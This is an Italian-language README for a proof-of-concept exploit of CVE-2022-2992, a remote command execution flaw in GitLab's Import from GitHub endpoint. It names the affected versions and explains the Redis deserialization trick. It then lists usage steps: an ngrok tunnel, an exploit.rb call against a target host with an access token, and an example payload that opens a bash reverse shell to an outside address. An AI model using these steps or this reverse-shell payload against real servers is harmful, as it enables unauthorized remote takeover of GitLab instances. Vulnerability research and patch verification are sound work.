CVE-2022-2992: Esecuzione remota di comandi tramite importazione da Github

Informazioni

Descrizione: Ciò consente a un utente autenticato di ottenere l'esecuzione remota di codice tramite l'endpoint Import from GitHub API.
Versioni interessate: tutte le versioni dalla 11.10 precedenti alla 15.1.6, dalla 15.2 alla 15.2.4, dalla 15.3 alla 15.3.2
Versione corretta: 15.3.2
Ricercatore: vakzz
Link all'analisi: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
Link CVE NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-2992

Exploit Proof-of-Concept

Descrizione

Un utente autenticato può importare un repository da Github in Gitlab. Si può provare a importare da un server controllato dall'attaccante che risponde con un oggetto del protocollo di serializzazione di Redis nel default_branch annidato, facendo sì che Gitlab memorizzi questo oggetto in Redis e che Redis lo deserializzi e inneschi l'esecuzione del payload.

Utilizzo/Exploitation

Sarà necessario un personal access token

$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567  # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload

Esempio